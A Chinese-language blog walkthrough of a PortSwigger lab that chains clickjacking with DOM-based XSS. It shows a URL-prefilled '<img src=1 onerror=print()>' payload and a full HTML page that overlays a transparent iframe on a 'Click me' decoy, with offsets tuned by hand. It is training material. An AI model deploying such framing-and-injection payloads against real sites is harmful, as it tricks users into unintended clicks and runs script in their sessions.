从业者-点击劫持-结合DOM型XSS的攻击
# 实验室:利用点击劫持漏洞触发基于DOM的XSS
# 题目
此实验室包含一个由单击触发的 XSS 漏洞。构建一个点击劫持攻击,欺骗用户单击 “Click me” 按钮来调用print()
函数。
笔记
受害者将使用 Chrome,因此请在该浏览器上测试你的漏洞利用。
- name: 实验室-从业者
desc: 利用点击劫持漏洞触发基于DOM的XSS >>
avatar: https://fastly.statically.io/gh/clincat/blog-imgs@main/vuepress/static/imgs/docs/burpsuite-learn/public/lab-logo.png
link: https://portswigger.net/web-security/clickjacking/lab-exploiting-to-trigger-dom-based-xss
bgColor: '#001350'
textColor: '#4cc1ff'
2
3
4
5
6
# 实操
点击 “ACCESS THE LAB” 进入实验室。
进入实验室,看到一个 “提交反馈” 功能,点进去看看。
尝试提交一个反馈信息,看看会发生什么。
提交之后会返回一个感谢信息 “感谢你提交反馈,名字!”。
我们填写的名字会被包含在其中,哦?
正解✔
这个表单同样支持参数预填充。
/feedback?name=<img src=1 onerror=print()>&email=a@b.c&subject=abc&message=xyz
# 自动生成载荷(Burp Clickbandit)
在控制台中运行 Burp Clickbandit 脚本。
运行脚本之后,点击 “Start” 开始录制动作。
点击 “Submit feedback” 提交表单,记录动作。
提交表单之后,成功执行 XSS 载荷并调用了print()
函数。
点击 “取消” 关闭打印窗口,然后点击 “Finish” 结束录制。
确保目标按钮处于红框之内。
点击 “Save” 保存载荷文件。
将 自动生成的载荷 发送给受害者之后,我始终无法完成实验......
访问测试,按钮完好地躺在红框之内,没毛病呀。
点击之后也能触发 XSS 呀,没毛病呀。
那为啥就是完成不了实验呢???
我尝试将print()
换成alert()
并重新录制载荷,又尝试添加sandbox
属性,以为表单参数冲突所以又改了参数值......又......
前前后后 录制和生成了 9 个载荷,都无法用于完成实验。
难道自动生成的载荷没用?非要我手动生成?
# 手动生成载荷
妥协了,手动就手动吧。
你可以基于以下代码,来构建你的载荷:
<head>
<style>
#target_website {
position:relative;
width:500px;
height:800px;
opacity:0.4;
z-index:2;
}
#decoy_website {
position:absolute;
top: 400px;
left: 100px;
z-index:1;
}
</style>
</head>
...
<body>
<div id="decoy_website">
Click me
</div>
<iframe id="target_website" src="https://<目标站点>/feedback?name=%3Cimg%20src=1%20onerror=print()%3E&email=a@b.c&subject=abc&message=xyz">
</iframe>
</body>
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
看看效果,文本没对准。
通过开发者工具,临时修改文本的位置。
得到了满意的数值top:790px
和left:100px
。
得到满意的数值之后,修改实际的载荷:
<head>
<style>
#target_website {
position:relative;
width:500px;
height:800px;
opacity:0.4;
z-index:2;
}
#decoy_website {
position:absolute;
top: 790px;
left: 100px;
z-index:1;
}
</style>
</head>
...
<body>
<div id="decoy_website">
Click me
</div>
<iframe id="target_website" src="https://<目标站点>/feedback?name=%3Cimg%20src=1%20onerror=print()%3E&email=a@b.c&subject=abc&message=xyz">
</iframe>
</body>
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
将最终的载荷发送给受害用户。
点击劫持攻击成功,实验完成。